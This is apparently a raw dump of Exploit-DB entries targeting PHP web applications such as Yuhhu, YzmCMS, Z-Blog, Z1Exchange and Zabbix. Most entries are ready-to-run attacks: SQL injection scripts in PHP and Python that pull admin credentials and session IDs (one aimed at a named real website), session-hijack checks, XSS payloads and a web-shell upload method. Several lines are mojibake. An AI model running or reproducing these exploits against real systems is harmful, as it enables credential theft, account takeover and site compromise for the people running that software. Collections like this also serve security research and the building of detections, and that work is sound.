deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5783
Description: Yuhhu 2008 SuperStar - 'board' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-10
Author: RMx

Exploit:
<?php
/*
Coded By RMx
Yuhhu 2008 SuperStar Sql injection exploit...
BiyoSecurity.Com & Coderx.org
Thanx : Liz0zim & Cr@zy_King
*/
set_time_limit(0);
error_reporting(E_ALL);
function yolla($site,$liz0zim){
global $veri;$exploit = fsockopen(gethostbyname($site),"80");
if(!$exploit){die("BaÄŸlantÄ± saÄŸlanamadÄ±...");
}else{fputs($exploit,$liz0zim);}
while(!feof($exploit)) {
$veri .=fgets($exploit);}
fclose($exploit);
return $veri;}
$site = "elmayra.com";
$path = "/forums/";
$rmx =  "GET
".$path."view.topics.php?board='+union+select+0,concat(0x6B,0x75,0x6C,0x6C,0x61,0x6E,0x69,0x63,0x69,0x3A,0x20,admin_username,0x3a,0x73,0x69,0x66,0x72,0x65,0x3A,0x20,admin_password,0x20,0x61,0x64,0x6D,0x69,0x6E,0x20,0x74,0x69,0x70,0x69,0x3A,0x20,admin_type,0x61,0x64,0x6D,0x69,0x6E,0x20,0x69,0x64,0x3A,admin_id),1,2%20from%20joovili_admins/*
HTTP/1.1\r\n";
$rmx .= "Host: $site\r\n";
//$rmx .= "Content-Type: application/x-www-form-urlencoded\r\n";
$rmx .= "Content-Type: text/plain\r\n";
$rmx .= "Connection: Close\r\n\r\n";
$tuttum=yolla("$site","$rmx");
$ara="#class=\"linkbeyaz\">(.*)</a></td>#";
$bul=preg_match($ara,$tuttum,$rmx);
$huseyin=str_replace("class=\"linkbeyaz\">","",$rmx);
echo $site."<br>";
echo $huseyin[0];
?>

author : Dj Remix 

# milw0rm.com [2008-06-10]
Exploit-DB #12227
Description: YUI Images Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-14
Author: Mr.P3rfekT

Exploit:
# Title: YUI Images Script Shell Upload Vulnerability
# Version: 1.0
# Author: Mr.P3rfekT
# Software Link: http://momche.net/res/YUI-upload/html/momche-yui-upload.zip
# Tested on Lunix
# CVE : N/A

############### Founded By Mr.P3rfekT ###############

Helllo Allz


# Exploit :

http://127.0.0.1/YUI-upload/html (Upload shell .php.giff)
Go To
http://127.0.0.1/YUI-upload/html/files/ (Your Shell.php.giff)

Done


####################################################################

MaiL :R4p@hotmail.com

Greeetz To : Dr.Pro,HcJ,Nani17,SyrianGhost,www.v4-team.com,www.m66x.com


###############################################
Exploit-DB #4353
Description: Yvora CMS 1.0 - 'error_view.php?ID' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-02
Author: k1tk4t

Exploit:
########################################################################
# Yvora CMS v1.0 - Remote SQL Injection
# Vendor        : http://www.yvora.nl/
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
POC;

http://www.victim.xxx/error_view.php?ID=[SQL]

Contoh;

http://www.victim.xxx/error_view.php?ID=-99+UNION+SELECT+1,2,3,password,username,6,7+from+admin_users/*

Hasil;

Error: Username
Query: Password

########################################################################
Terimakasih untuk;
str0ke
DNX,xoron,iFX,x-ace,nyubi,selikoer,k1ngk0ng
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-02]
Exploit-DB #18526
Description: YVS Image Gallery - SQL Injection
Type: webapps
Platform: php
Date: 2012-02-25
Author: CorryL

Exploit:
-=[+] Application: YVS Image Gallery
-=[+] Version: 0.0.0.1
-=[+] Vendor's URL: http://yvs.vacau.com/gallery.html
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: Sql INJECTIONS
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Facebook: https://www.facebook.com/CorryL
-=[+] Twitter: https://twitter.com/#!/CorradoLiotta
-=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
-=[+] +Google: https://plus.google.com/u/0/[PII_REDACTED][PII_REDACTED]

...::[ Descriprion ]::..

This is a small database driven gallery created to be implemented
within your existing site.
The coding is reasonably straight forward and can be easily moved into
your existing development
by anyone with basic understanding of PHP.
Only a first attempt at the system has a long way to go,
but it provides you with all the necessary tools to run your own
picture gallery,
such as uploading of multiple images and creation of thumbnails.
The gallery is distributed as free-ware but if you decide to use it in
any business or just decide that it's worth it,
any donations will be greatly appreciated. details will be made available soon.


...::[ Bug ]::..

exploiting this bug a remote attaker is able' to go up again to user
name and admin password



...::[ Proof Of Concept ]::..

http://Server-Victim/image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20username%20FROM%20user

...::[ Exploit ]::..

#!/usr/bin/php -f
<?php
#
# view_album.php curl exploit
#


// Created by Corrado Liotta Aka CorryL
// For educational only
// use php exploit.php 127.0.0.1 username for admin username o
password for admin password

$target = $argv[1];
$info = $argv[2];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL,
"http://$target/image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20$info%20FROM%20user");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>

..::[ Disclousure Timeline ]::..

[23/02/2012] - No Vendor Information

-- 
Corrado Liotta� � � �� A.k.a (CorryL)
Email: corryl80@gmail.com
Slype: corrado_liotta
Facebook: http://www.facebook.com/home.php/CorryL
Twitter: https://twitter.com/#!/CorradoLiotta
Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611

Specialist in:
Bug Hunting
Security Audits
Penetration Test
Exploit-DB #44405
Description: YzmCMS 3.6 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-05
Author: zzw

Exploit:
# Exploit Title: YzmCMS 3.6 XSS Vulnerability
# Date: 2018-04-03
# Exploit Author: zzw (zzw@5ecurity.cn)
# Vendor Homepage: http://www.yzmcms.com/
# Software Link: http://www.yzmcms.com/
# Version: 3.6
# CVE : CVE-2018-7653

This is a XSS vulnerability than can attack the users.

poc:

http://localhost/YzmCMS/index.php?m=search&c=index&a=initxqb4n%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecu9rs&modelid=1&q=tes 

http://localhost/YzmCMS/index.php?m=search&c=indexf9q6s%3cimg%20src%3da%20onerror%3dalert(1)%3ej4yck&a=init&modelid=1&q=tes 

http://localhost/YzmCMS/index.php?m=searchr81z4%3cimg%20src%3da%20onerror%3dalert(1)%3eo92wf&c=index&a=init&modelid=1&q=tes 

http://localhost/YzmCMS/index.php?m=search&c=index&a=init&modelid=1b2sgd%22%3e%3cscript%3ealert(1)%3c%2fscript%3eopzx0&q=tes
Exploit-DB #48189
Description: YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-03-10
Author: En_dust

Exploit:
# Exploit Title: YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-03-10
# Exploit Author: En
# Vendor Homepage: https://github.com/yzmcms/yzmcms
# Software Link: https://github.com/yzmcms/yzmcms
# Version: V5.5
# Category: Web Application
# Patched Version: unpatched
# Tested on: Win10x64
# Platform: PHP
# CVE : N/A
#Exploit Author: En_dust

#Description：
#The add function defined in the Application/link/controller/link.class.php file does not filter the ‘url’ parameter, causing malicious code to be executed.


#PoC：
POST /yzmcms/link/link/add.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/yzmcms/link/link/add.html
Content-Length: 130
Cookie: CNZZDATA[PII_REDACTED]=[PII_REDACTED][PII_REDACTED]-%7C[PII_REDACTED]; PHPSESSID=fr095t87brjfc0l7d7sgj8oml4; yzmphp_adminid=45dfDWXXjGQg2Ce7Yg7oJZbld7iy8SN43sy2SKjq; yzmphp_adminname=7e49R0HXcjLHqBu5wgd9vXbD_D-Bq3Uq8TLw5UNpi8lIAw
DNT: 1
Connection: close

name=evalWebsite&url=javascript%3Aalert(%2FXSS%2F)&username=&email=&linktype=0&logo=&typeid=0&msg=&listorder=1&status=1&dosubmit=1
Exploit-DB #44406
Description: Z-Blog 1.5.1.1740 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-05
Author: zzw

Exploit:
# Exploit Title: Z-Blog 1.5.1.1740 XSS Vulnerability
# Date: 2018-04-03
# Exploit Author: zzw (zzw@5ecurity.cn)
# Vendor Homepage: https://www.zblogcn.com/
# Software Link: https://github.com/zblogcn/zblogphp
# Version: 1.5.1.1740
# CVE : CVE-2018-7736

This is a XSS vulnerability than can attack the users.

poc:

poc of ZC_BLOG_SUBNAME parameter:

http://localhost/z-blog/zb_system/cmd.php?act=SettingSav&token=2c7ca9a4c1c3d856e012595ca878564f

post_data:

ZC_BLOG_HOST=http%3A%2F%2Flocalhost%2Fz-blog%2F&ZC_PERMANENT_DOMAIN_ENABLE=&ZC_PERMANENT_DOMAIN_WITH_ADMIN=&ZC_BLOG_NAME=admin&ZC_BLOG_SUBNAME=Good%20Luck%20To%20You!tluf3%22%3e%3cscript%3ealert(1)%3c%2fscript%3euk095&ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&ZC_TIME_ZONE_NAME=Asia%2FShanghai&ZC_BLOG_LANGUAGEPACK=zh-cn&ZC_UPLOAD_FILETYPE=jpg%7Cgif%7Cpng%7Cjpeg%7Cbmp%7Cpsd%7Cwmf%7Cico%7Crpm%7Cdeb%7Ctar%7Cgz%7Csit%7C7z%7Cbz2%7Czip%7Crar%7Cxml%7Cxsl%7Csvg%7Csvgz%7Crtf%7Cdoc%7Cdocx%7Cppt%7Cpptx%7Cxls%7Cxlsx%7Cwps%7Cchm%7Ctxt%7Cpdf%7Cmp3%7Cmp4%7Cavi%7Cmpg%7Crm%7Cra%7Crmvb%7Cmov%7Cwmv%7Cwma%7Cswf%7Cfla%7Ctorrent%7Capk%7Czba%7Cgzba&ZC_UPLOAD_FILESIZE=2&ZC_DEBUG_MODE=&ZC_GZIP_ENABLE=&ZC_SYNTAXHIGHLIGHTER_ENABLE=1&ZC_CLOSE_SITE=&ZC_DISPLAY_COUNT=10&ZC_DISPLAY_SUBCATEGORYS=1&ZC_PAGEBAR_COUNT=10&ZC_SEARCH_COUNT=20&ZC_MANAGE_COUNT=50&ZC_COMMENT_TURNOFF=&ZC_COMMENT_AUDIT=&ZC_COMMENT_REVERSE_ORDER=&ZC_COMMENTS_DISPLAY_COUNT=100&ZC_COMMENT_VERIFY_ENABLE=


poc of ZC_UPLOAD_FILETYPE parameter:

post_data:

ZC_BLOG_HOST=http://localhost/z-blog/&ZC_PERMANENT_DOMAIN_ENABLE=&ZC_PERMANENT_DOMAIN_WITH_ADMIN=&ZC_BLOG_NAME=admin&ZC_BLOG_SUBNAME=Good+Luck+To+You!&ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&ZC_TIME_ZONE_NAME=Asia/Shanghai&ZC_BLOG_LANGUAGEPACK=zh-cn&ZC_UPLOAD_FILETYPE=jpg|gif|png|jpeg|bmp|psd|wmf|ico|rpm|deb|tar|gz|sit|7z|bz2|zip|rar|xml|xsl|svg|svgz|rtf|doc|docx|ppt|pptx|xls|xlsx|wps|chm|txt|pdf|mp3|mp4|avi|mpg|rm|ra|rmvb|mov|wmv|wma|swf|fla|torrent|apk|zba|gzbauckek"><script>alert(1)</script>ekkgh&ZC_UPLOAD_FILESIZE=2&ZC_DEBUG_MODE=&ZC_GZIP_ENABLE=&ZC_SYNTAXHIGHLIGHTER_ENABLE=1&ZC_CLOSE_SITE=&ZC_DISPLAY_COUNT=10&ZC_DISPLAY_SUBCATEGORYS=1&ZC_PAGEBAR_COUNT=10&ZC_SEARCH_COUNT=20&ZC_MANAGE_COUNT=50&ZC_COMMENT_TURNOFF=&ZC_COMMENT_AUDIT=&ZC_COMMENT_REVERSE_ORDER=&ZC_COMMENTS_DISPLAY_COUNT=100&ZC_COMMENT_VERIFY_ENABLE=
Exploit-DB #6309
Description: z-breaknews 2.0 - 'single.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-26
Author: cOndemned

Exploit:
zГҜВ»Вҝ########################################################################################
#
#   Name    :   z-breaknews 2.0 (single.php) Remote SQL Injection Vulnerability
#   Author  :   cOndemned [ Dark-Coders ]
#   Greetz  :   Avantura, str0ke, ZaBeaTy, t0pP8uZz, 0in, suN8Hclf & All of my friends
#
########################################################################################


source of single.php :

    [ ... ]
    
    4.  @mysql_select_db("$dbName")or die("ГғВҚГ„Вә Г„вҖәГғВ®Г„Ж’ГғВі ГғВўГ…ВұГғВЎГ„вҖҳГ…вҖўГ…ЛҶГғВј ГғВЎГ…вҖўГғВ§ГғВі ГғВӨГ…вҖўГғВӯГғВӯГ…ВұГ…вҖҳ "); 
    5.  $row=mysql_fetch_array(mysql_query("SELECT * FROM $table WHERE id=".$_GET['id']));
    6.  echo $row['date'] ?></title>
    
    [ ... ] 
    
    36. $row=mysql_fetch_array(mysql_query("SELECT * FROM $table WHERE id=".$_GET['id']));
    
    [ ... ]
    
    41.     <td widht=100%  ALIGN=\"left\" valign=\'top'\><h1>$row[date]</h1> 
    
    [ ... ]


proof of concept (admins login & password are not in database, so... )

    http://[host]/single.php?id=-1+UNION+SELECT+1,concat_ws(0x3a,user(),database()),3,4,5/*

    ^ This will print requested information between <title> (line 6) and <h1> (line 41) tags


just 4 fun

# milw0rm.com [2008-08-26]
Exploit-DB #32634
Description: Z1Exchange 1.0 - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-02
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32598/info
 
Z1Exchange is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Z1Exchange 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/showads.php?id=<script>alert(1369)</script>
Exploit-DB #32633
Description: Z1Exchange 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-02
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32598/info

Z1Exchange is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Z1Exchange 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/showads.php?id=[SQL]
Exploit-DB #7311
Description: z1exchange 1.0 - 'site' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-01
Author: JIKO

Exploit:
-------------------------------------------------------------------------
  --          JIKO FroM No-exploit.Com        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-exploit.Com
# Script  : z1exchange-->http://1scripts.net/scripts/z1exchange.zip
 Proud To Be MoroCCaN -->> WwW.No-ExploiT.CoM  , WwW.Exploiter5.CoM
Fkhatar L3chran wwlad darb wlidat l9issm wmansach L3chira
=========================[JAWAD Cha7ta 4 ever]===================
# Exploit  :
               http://no-exploit.com

http://no-exploit.com//z1exchange/edit.php?site=[sql]
http://no-exploit.com//z1exchange/edit.php?site=-12%20union%20select%200,1,username,password,4,version(),user(),7,8,9,10,11,database(),13,14,15,16,17,18++from+users--

DEMO:

http://localhost/scripts/z1exchange/z1exchange/edit.php?site=-12 union select 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

=========================[Thanks To Allah ]===================
 greetz : all my friend and all No-exploit members and
 $ Gold_M $ Cochlain $ Hassin X $ cyber-zone $ r00t c0d3r $ HiSoKa $
MizoZ $ leopard
 all muslims
 visit: www.no-exploit.Com
 Visit: My-montada.Co.cc For your free Forum
 
-------------------------------------------------------------------------
  --          JIKO FroM No-exploit.Com        ---
-------------------------------------------------------------------------
------==        troops of Mohamed comming inchalah     =-----------------
Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc
Raha nayda Nood :)Fuck Bigg Kbir Lkarcha Bo ta7cha stoon dyalibou7do hwa cha7ta
++--------------------------------------------------------------------------------------------------------------------------------------------------------+
++          [!]  Fi Khater Mgharba wahed wahed , Kima tayGol Khoya cyber-zone , Ana Maghribi , Ana Arabi , Ana Muslim , Jib L3azz Awela K7azz [!]        ++
+--------------------------------------------------------------------------------------------------------------------------------------------------------++

# milw0rm.com [2008-12-01]
Exploit-DB #40353
Description: Zabbix 2.0 < 3.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2016-09-08
Author: Zzzians

Exploit:
# Exploit Title: 2.0 < Zabbix < 3.0.4 SQL Injection Python PoC
# Data: 20-08-2016
# Software Link: www.zabbix.com
# Exploit Author: Unknown(http://seclists.org/fulldisclosure/2016/Aug/82)
# Version: Zabbix 2.0-3.0.x(<3.0.4)

# PoC Author: Zzzians
# Contact: Zzzians@gmail.com
# Test on: Linux (Debian/CentOS/Ubuntu)

# -*- coding: utf_8 -*-
# Use Shodan or and enjoy :)
# Comb the intranet for zabbix and enjoy :)
import sys,os,re,urllib2
def Inject(url,sql,reg):
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=[PII_REDACTED]83&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
        sql) + "&updateProfile=true&screenitemid=&period=3600&stime=[PII_REDACTED]0632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=20).read()
    except Exception, msg:
        print '\t\tOpps,an error occurs...',msg
    else:
        result_reg = re.compile(reg)
        results = result_reg.findall(response)
        print payload #Uncomment this to see details
        if results:
            return results[0]
def exploit(url,userid):
    passwd_sql = "(select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT "+str(userid-1)+",1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql="(select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid="+str(userid)+" LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    [CREDENTIAL_REDACTED](url,passwd_sql,r"Duplicate\s*entry\s*'(.+?)~~")
    if(password):
        print '[+]Username~Password : %s' % password
    else:
        print '[-]Get Password Failed'
    session_id = Inject(url,session_sql,r"Duplicate\s*entry\s*'(.+?)~")
    if(session_id):
        print "[+]Session_id：%s" % session_id
    else:
        print "[-]Get Session id Failed"
    print '\n'
        
def main():
    print '=' * 70
    print '\t    2.0.x?  <  Zabbix  <  3.0.4 SQL Inject Python Exploit Poc'
    print '\t\t    Author:Zzzians(Zzzians@gmail.com)'
    print '\t    Reference:http://seclists.org/fulldisclosure/2016/Aug/82'
    print '\t\t\t    Time：2016-08-20\n'
    urls = ["http://10.15.5.86"]
    ids = [1,2]
    for url in urls:
        if url[-1] != '/': url += '/'
        print '='*25 +  url + '='*25
        for userid in ids:
	        exploit(url,userid)
main()
Exploit-DB #20087
Description: Zabbix 2.0.1 - Session Extractor
Type: webapps
Platform: php
Date: 2012-07-24
Author: muts

Exploit:
#!/usr/bin/python

import re
import sys,urllib2,urllib

print "\n[*] Zabbix 2.0.1 Session Extractor 0day"
print "[*] http://www.offensive-security.com"
print "##################################\n"

''' 

The sessions found by this tool may allow you to access the scripts.php file.
Through this web interface, an administrator can define new malicious scripts. 
These scripts can then be called from the maps area, and executed with "zabbix" permissions.

Timeline:

17 Jul 2012: Vulnerabilty reported
17 Jul 2012: Reply received
18 Jul 2012: Issue opened: https://support.zabbix.com/browse/ZBX-5348
19 Jul 2012: Fixed for inclusion in version 2.0.2

'''

ip="172.16.164.150"

target = 'http://%s/zabbix/popup_bitem.php' % ip
url = 'http://%s/zabbix/scripts.php' % ip

def sendSql(num):
        global target
        payload="1)) union select 1,group_concat(sessionid) from sessions where userid='%s'#" % num
        payload="1 union select 1,1,1,1,1,group_concat(sessionid),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sessions where userid='%s'#" % num
        values = {'dstfrm':'1','itemid':payload }
        url = "%s?%s" % (target, urllib.urlencode(values))  
        req = urllib2.Request(url)                          
        response = urllib2.urlopen(req)                 
        data = response.read()                  
        return data

def normal(cookie):
	global url
        req = urllib2.Request(url)
        cook = "zbx_sessionid=%s" %cookie
        req.add_header('Cookie', cook)
        response = urllib2.urlopen(req)                 
        data = response.read()                  
        if re.search('ERROR: Session terminated, re-login, please',data) or re.search('You are not logged in',data) or re.search('ERROR: No Permissions',data):
                return "FAIL"
        else:
                return "SUCCESS"

sessions=[]

for m in range(1,2):
	print "[*] Searching sessions belonging to id %s" % m
        hola=sendSql(m)
        for l in re.findall(r"([a-fA-F\d]{32})", hola):
		if l not in sessions:
			sessions.append(l)
	                print "[*] Found sessionid %s - %s" % (l,normal(l))